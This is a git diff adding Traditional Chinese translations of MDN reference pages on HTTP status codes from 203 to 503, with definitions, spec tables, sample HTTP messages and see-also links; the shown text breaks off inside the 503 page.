b/files/zh-tw/web/http/status/203/index.html @@ -0,0 +1,37 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +translation_of: Web/HTTP/Status/203 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>203 Non-Authoritative Information</code></strong> 狀態碼表明請求成功，但是與原始伺服器的 {{HTTPStatus("200")}} (<code>OK</code>) 回應相比，<span class="tlid-translation translation" lang="zh-TW"><span title="">隨附的</span></span>酬載<span class="tlid-translation translation" lang="zh-TW"><span title="">已被具</span></span>轉換功能的 {{Glossary("Proxy server", "代理伺服器")}} <span class="tlid-translation translation" lang="zh-TW"><span title="">所修改</span></span>。</p> + +<p><code>203</code> 回應相似於 {{HTTPHeader("Warning")}} 標頭的 <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a> Transformation Applied</code>，但後者的額外的優點在於可以套用到任何狀態碼的回應中。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">203 Non-Authoritative Information</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus("200")}}</li> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Warning")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/204/index.html b/files/zh-tw/web/http/status/204/index.html new file mode 100644 index 0000000000..ec60934d81 --- /dev/null +++ b/files/zh-tw/web/http/status/204/index.html @@ -0,0 +1,49 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +translation_of: Web/HTTP/Status/204 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>204 No Content</code></strong> 成功狀態碼表明請求成功，但客戶端不需要更新目前的頁面。204 回應預設是可被快取的，此類回應中會包含 {{HTTPHeader("ETag")}} 標頭。</p> + +<p>回傳 <code>204</code> 的常見情況是作為 {{HTTPMethod("PUT")}} 請求的回應，更新一個資源且沒有更動目前顯示給使用者的頁面內容。若是有資源被建立，{{HTTPStatus("201")}} <code>Created</code> 則應該被回傳。而若頁面應該更新為新的頁面，則應使用 {{HTTPStatus("200")}} 。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">204 No Content</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.204")}}</p> + +<h2 id="相容性事項">相容性事項</h2> + +<ul> + <li>雖然此狀態碼意圖表示不具主體的回應，伺服器仍可能錯誤地在標頭後加入資料。通訊協定允許使用者代理更動此回應的處理方式 (<a href="https://github.com/httpwg/http11bis/issues/26">關於規範的討論請參見此處</a>)。這在<span class="st">持久連接中可以被觀察到，</span>無效的主體可能會包含<span class="tlid-translation translation" lang="zh-TW"><span title="">後續請求的不同回應</span></span> 。<br> + <br> + Apple Safari 拒收這些資料。Google Chrome 及 Microsoft Edge <span class="tlid-translation translation" lang="zh-TW"><span title="">在有效回應之前丟棄最多四個無效的位元組。</span></span>Firefox 容許<span class="tlid-translation translation" lang="zh-TW"><span title="">在有效回應之前</span></span>超過1KB 的無效資料。</li> +</ul> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Methods">HTTP請求方法</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/205/index.html b/files/zh-tw/web/http/status/205/index.html new file mode 100644 index 0000000000..3ef8a05ae2 --- /dev/null +++ b/files/zh-tw/web/http/status/205/index.html @@ -0,0 +1,39 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +translation_of: Web/HTTP/Status/205 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>205 Reset Content</code></strong> 狀態碼用來通知客戶端重置文件視圖，例如：清除表單內容、重置畫布狀態或刷新使用者界面。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相容性事項">相容性事項</h2> + +<ul> + <li>若是此回應在持久連線中錯誤地包含了主體，不同瀏覽器將會有不同的行為。細節參見 <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> 。</li> +</ul> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/zh-tw/web/http/status/206/index.html b/files/zh-tw/web/http/status/206/index.html new file mode 100644 index 0000000000..bb013ff1c8 --- /dev/null +++ b/files/zh-tw/web/http/status/206/index.html @@ -0,0 +1,79 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +translation_of: Web/HTTP/Status/206 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>206 Partial Content</code></strong> 成功狀態碼表明請求成功，且主體包含在請求標頭{{HTTPHeader("Range")}} 中所指定的資料區間。</p> + +<p>若只包含一個區間，則整個回應的 {{HTTPHeader("Content-Type")}} 將會被設為該文件的類型 ，且會包含一個 {{HTTPHeader("Content-Range")}} 標頭。</p> + +<p>若有多個區間，則整個回應的 {{HTTPHeader("Content-Type")}} 會被設為 <code>multipart/byteranges</code> ，且每個分段會對應一個區間，並有 {{HTTPHeader("Content-Range")}} 及 {{HTTPHeader("Content-Type")}} 描述各個區間。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">206 Partial Content</pre> + +<h2 id="範例">範例</h2> + +<p>一個包含單一區間的回應：</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes of partial image data ...</pre> + +<p>一個包含多個區間的回應：</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...the first range... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...the second range +--String_separator--</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.206")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/300/index.html b/files/zh-tw/web/http/status/300/index.html new file mode 100644 index 0000000000..40a878c849 --- /dev/null +++ b/files/zh-tw/web/http/status/300/index.html @@ -0,0 +1,38 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +translation_of: Web/HTTP/Status/300 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>300 Multiple Choices</strong></code> 重定向回應碼代表該請求具有超過一種可能的回應。用戶代理或使用者應該從中挑選一個。由於不存在標準化的選擇回應方式，此回應碼非常少被使用。</p> + +<p>若是伺服端有偏好的選擇，則應該產生 {{HTTPHeader("Location")}} 標頭。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">300 Multiple Choices +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> +</ul> diff --git a/files/zh-tw/web/http/status/301/index.html b/files/zh-tw/web/http/status/301/index.html new file mode 100644 index 0000000000..8fe00054ee --- /dev/null +++ b/files/zh-tw/web/http/status/301/index.html @@ -0,0 +1,54 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>301 Moved Permanently</strong></code> 重定向回應碼代表所請求的資源已經被明確移動到 {{HTTPHeader("Location")}} 標頭所指示的 URL。瀏覽器會重新導向到此頁面，而搜尋引擎則會更新該資源的連結。用 SEO 的話來說，就是連結養分（link-juice）把你送到了新的 URL 去。</p> + +<p>儘管規範要求當執行重新導向時，請求方法 (以及主體) 不應該被更動，但並非所有的用戶代理皆遵循它 -- 你依然可以找到具有此類漏洞的軟體。因此，推薦只使用 <code>301</code> 回應碼作為 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法的回應， 另外使用 {{HTTPStatus("308", "308 Permanent Redirect")}} 作為 {{HTTPMethod("POST")}} 方法的替代，因為請求方法的更動在此狀態中是被明確禁止的。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">301 Moved Permanently</pre> + +<h2 id="範例">範例</h2> + +<h3 id="用戶端請求">用戶端請求</h3> + +<pre>GET /index.php HTTP/1.1 +Host: www.example.org</pre> + +<h3 id="伺服端回應">伺服端回應</h3> + +<pre>HTTP/1.1 301 Moved Permanently +Location: http://www.example.org/index.asp</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "301 Moved Permanently" , "6.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + + + +<p>{{Compat("http.status.301")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus("308", "308 Permanent Redirect")}}</li> + <li>{{HTTPStatus("302", "302 Found")}}, 臨時重新導向</li> +</ul> diff --git a/files/zh-tw/web/http/status/403/index.html b/files/zh-tw/web/http/status/403/index.html new file mode 100644 index 0000000000..9ad06b2fe5 --- /dev/null +++ b/files/zh-tw/web/http/status/403/index.html @@ -0,0 +1,49 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>403 Forbidden</code></strong> 客戶端錯誤狀態碼表示伺服器理解該請求但拒絕核准。</p> + +<p>該狀態碼與 HTTP {{HTTPStatus("401")}} 類似，但重新身分驗證不能提供幫助。 存取被永久性禁止，且與應用程式邏輯有關，如資源的訪問權限不足。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">403 Forbidden</pre> + +<h2 id="回應範例">回應範例</h2> + +<pre>HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性"><a href="https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status/100$edit#%E7%80%8F%E8%A6%BD%E5%99%A8%E7%9B%B8%E5%AE%B9%E6%80%A7" rel="nofollow, noindex">瀏覽器相容性</a></h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.403")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/404/index.html b/files/zh-tw/web/http/status/404/index.html new file mode 100644 index 0000000000..0e7051452f --- /dev/null +++ b/files/zh-tw/web/http/status/404/index.html @@ -0,0 +1,59 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +translation_of: Web/HTTP/Status/404 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>404 Not Found</strong></code> 用戶端錯誤回應碼，表明了伺服器找不到請求的資源。引發 404 頁面的連結，通常被稱作斷連或死連（broken or dead link）、並可以導到失效連結（<a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a>）頁面。</p> + +<p>404 狀態碼並沒有表明資源是暫時不見、還是永遠不見。如果資源是永遠不見，就應該用 {{HTTPStatus(410)}}(Gone) 而不是 404。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox notranslate">404 Not Found</pre> + +<h2 id="自訂錯誤頁面">自訂錯誤頁面</h2> + +<p>很多網站都會自訂 404 錯誤頁面，以便在指引用戶後續動作方面，提供進一步的幫助。Apache 伺服器可以透過 <code>.htaccess</code> 檔案設定，程式碼如下：</p> + +<pre class="brush: bash notranslate">ErrorDocument 404 /notfound.html</pre> + +<p>要參考自訂 404 錯誤頁面範例，請看看 <a href="https://developer.mozilla.org/zh-TW/404">MDN 的 404 頁面</a>。</p> + +<div class="note"> +<p>適度地客製是件好事：你可以讓 404 頁面幽默和人性化，但不要讓用戶困惑。</p> +</div> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.404")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPStatus(410)}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "維基百科的 HTTP 404")}}</p> + </li> + <li> + <p><a href="https://www.exai.com/blog/404-http-error">404 Error </a></p> + </li> +</ul> diff --git a/files/zh-tw/web/http/status/409/index.html b/files/zh-tw/web/http/status/409/index.html new file mode 100644 index 0000000000..30c715c984 --- /dev/null +++ b/files/zh-tw/web/http/status/409/index.html @@ -0,0 +1,35 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +translation_of: Web/HTTP/Status/409 +--- +<div>{{HTTPSidebar}}</div> + +<p> HTTP <code><strong>409 Conflict</strong></code> 表示請求與伺服器目前狀態衝突</p> + +<p>衝突通常發生於 {{HTTPMethod("PUT")}} 請求。如上傳一個已經有舊版本存在於伺服器的檔案而導致版本控制衝突時，會回復一個 409 錯誤。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">409 Conflict</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPMethod("PUT")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/411/index.html b/files/zh-tw/web/http/status/411/index.html new file mode 100644 index 0000000000..0e23db4f27 --- /dev/null +++ b/files/zh-tw/web/http/status/411/index.html @@ -0,0 +1,38 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +translation_of: Web/HTTP/Status/411 +--- +<div>{{HTTPSidebar}}</div> + +<p>超文本傳輸協定 (HTTP) <code><strong>411 Length Required</strong></code> 用戶端錯誤表示伺服器拒絕接收沒有定義 {{HTTPHeader("Content-Length")}} 頭的請求。 </p> + +<div class="note"> +<p><strong>Note: </strong>by specification, when sending data in a series of chunks, the <code>Content-Length</code> header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format. See {{HTTPHeader("Transfer-Encoding")}} for more details.</p> +</div> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">411 Length Required</pre> + +<h2 id="回應範例">回應範例</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/415/index.html b/files/zh-tw/web/http/status/415/index.html new file mode 100644 index 0000000000..1cb159f46c --- /dev/null +++ b/files/zh-tw/web/http/status/415/index.html @@ -0,0 +1,39 @@ +--- +title: 415 Unsupported Media Type +slug: Web/HTTP/Status/415 +translation_of: Web/HTTP/Status/415 +--- +<div> +<p><font><font>{{HTTPSidebar}}</font></font></p> + +<p><font><font>HTTP </font></font><code><strong>415 Unsupported Media Type</strong></code> <font><font>用戶端的錯誤表示</font></font><font><font>被請求資源的多媒體類型不被伺服器支援，因此該請求被拒絕。</font></font></p> + +<p><font><font>該格式問體可能源自於請求中設置的 </font></font>{{HTTPHeader("Content-Type")}} 或 {{HTTPHeader("Content-Encoding")}}<font><font> 或對資料的直接訪問。</font></font></p> +</div> + +<h2 id="狀態"><font><font>狀態</font></font></h2> + +<pre>415 Unsupported Media Type</pre> + +<h2 id="規範"><font><font>規範</font></font></h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col"><font><font>規格</font></font></th> + <th scope="col"><font><font>標題</font></font></th> + </tr> + <tr> + <td>{{RFC("7231", "415 Unsupported Media Type" , "6.5.13")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="參見"><font><font>參見</font></font></h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Encoding")}}</li> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html b/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html new file mode 100644 index 0000000000..0f03f77c24 --- /dev/null +++ b/files/zh-tw/web/http/status/418_i_m_a_teapot/index.html @@ -0,0 +1,45 @@ +--- +title: 418 I'm a teapot +slug: Web/HTTP/Status/418_I_m_a_teapot +translation_of: Web/HTTP/Status/418 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>418 I'm a teapot</code></strong> 用戶端錯誤碼表明了伺服器是個（永久性的）茶壺，所以拒絕煮咖啡。一個結合了咖啡與茶壺的壺子暫時沒咖啡的情境，應該回傳 503。這個錯誤是源自於 1998 與 2014 的愚人節玩笑「超文字咖啡壺控制協定」（Hyper Text Coffee Pot Control Protocol）。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">418 I'm a teapot</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("7168", "418 I'm a teapot" , "2.3.3")}}</td> + <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA): Response Codes</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{interwiki("wikipedia", "超文字咖啡壺控制協定", "維基百科的「超文字咖啡壺控制協定」")}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/451/index.html b/files/zh-tw/web/http/status/451/index.html new file mode 100644 index 0000000000..ce4817643f --- /dev/null +++ b/files/zh-tw/web/http/status/451/index.html @@ -0,0 +1,65 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +translation_of: Web/HTTP/Status/451 +--- +<p>{{HTTPSidebar}}</p> + +<p>HTTP <code><strong>451 Unavailable For Legal Reasons</strong></code> 用戶端錯誤回應碼表明用戶請求的資源，出於法律原因而無法使用，例如遭受法律訴訟的網頁。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre> + +<h2 id="示例">示例</h2> + +<p>此示例擷取自 IETF RFC（參見以下章節）、包含了{{interwiki("wikipedia", "萬世魔星")}}的引用。</p> + +<p><strong>註：</strong>{{HTTPHeader("Link")}} 標頭可能包含 <code>rel="blocked-by"</code> 以表明是誰封鎖該資源，而非來自其他強制力量。</p> + +<p>需要為該資源無效的負責者，例如請求法律移除內容的人名或組織名，並不會放在 <code>rel="blocked-by"</code> link 裡面。</p> + +<pre>HTTP/1.1 451 Unavailable For Legal Reasons +Link: <https://spqr.example.org/legislatione>; rel="blocked-by" +Content-Type: text/html</pre> + +<pre><html> + <head><title>Unavailable For Legal Reasons</title></head> + <body> + <h1>Unavailable For Legal Reasons</h1> + <p>This request may not be serviced in the Roman Province + of Judea due to the Lex Julia Majestatis, which disallows + access to resources hosted on servers deemed to be + operated by the People's Front of Judea.</p> + </body> +</html></pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.451")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_451", "維基百科的 HTTP 451")}}</li> + <li>{{interwiki("wikipedia", "華氏451度", "維基百科的華氏451度")}}（該請求碼的數字詞源）</li> +</ul> diff --git a/files/zh-tw/web/http/status/500/index.html b/files/zh-tw/web/http/status/500/index.html new file mode 100644 index 0000000000..26533581be --- /dev/null +++ b/files/zh-tw/web/http/status/500/index.html @@ -0,0 +1,43 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +translation_of: Web/HTTP/Status/500 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>500 Internal Server Error</strong></code> 伺服器錯誤回應表明了伺服器碰上意外情況，令伺服器無法完成請求。不管你的網站是不是採用 WordPress 系統，任何放在伺服器當中的網頁都有可能發生這種錯誤。</p> + +<p>本錯誤回應屬於通用的「全方位」回應。一般來說，這代碼代表程式無法給出比 500 更適當的回應。有時候，伺服器管理者會針對 500 這樣的錯誤回應，記錄詳細的相關信息，以避免未來出現同樣的錯誤。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox notranslate">500 Internal Server Error</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.500")}}</p> + +<h2 id="參考資料">參考資料</h2> + +<ul> + <li><a href="https://techmoon.xyz/500-internal-server-error/" rel="noopener">如何修復 WordPress 出現 500 Internal Server Error 的解決方法</a> +</li> +<li><a href="https://www.exai.com/blog/http-error-500-wordpress" rel="noopener">500 Internal Server Error</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/502/index.html b/files/zh-tw/web/http/status/502/index.html new file mode 100644 index 0000000000..098224da5c --- /dev/null +++ b/files/zh-tw/web/http/status/502/index.html @@ -0,0 +1,57 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - Bad Gateway + - HTTP + - Status code +translation_of: Web/HTTP/Status/502 +--- +<div>{{HTTPSidebar}}</div> + +<p><code>502 Bad Gateway</code> 錯誤表明伺服器以閘道器或代理訪問時，收到了來自上游服務器的無效回應。</p> + +<div class="note"> +<p><strong>注意：</strong>{{interwiki("wikipedia", "閘道器" )}}可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的，他通常需要在要訪問的的伺服器或代理修復之。</p> +</div> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox notranslate">502 Bad Gateway +</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.502")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://techmoon.xyz/502-bad-gateway-error-fix-wordpress/">WordPress 出現 502 Bad Gateway Error 解決方法</a></li> + <li>{{HTTPStatus(504)}}</li> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definition</a></li> + <li><a href="https://www.exai.com/blog/502-bad-gateway">502 bad gateway fix</a></li> + <li><a href="https://kinsta.com/blog/502-bad-gateway/">502 Bad Gateway error on WordPress</a></li> + <li><a href="https://support.cloudflare.com/hc/en-us/articles/115003011431#502504error">502 error with Cloudflare</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/503/index.html b/files/zh-tw/web/http/status/503/index.html new file mode 100644 index 0000000000..dc743f91a4 --- /dev/null +++ b/files/zh-tw/web/http/status/503/index.html @@ -0,0 +1,67 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +tags: + - 503 error + - HTTP + - Service Unavailable Error + - Status code +translation_of: Web/HTTP/Status/503 +--- +<div>{{HTTPSidebar}}</div> + +<p>超文本傳輸協定(英文：HyperText Transfer Protocol (HTTP) ) <code><strong>503 Service Unavailable</strong></code> 表示目前伺服器暫時不能處理連線的請求。</p> + +<p>起因通常是伺服器正在進行維護或是當下流量過載。這種錯誤回傳應該是暫時性的，並且{{HTTPHeader("Retry-After")}} HTTP header 中要盡可能描述到系統大概恢復正常的時間。.</p> + +<div class="note"> +<p><strong>注意：回傳這種錯誤的同時，也要同時顯示一張對使用者友善的網頁，來簡單描述問題。</strong></p> +</div> + +<p>回傳此錯誤時，務必注意和快取存取相關的標頭（Caching-related headers），因為 503 狀態通常要是暫時性的，而這種回應不應該被暫存至快取。</p> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox">503 Service Unavailable</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <thead> + 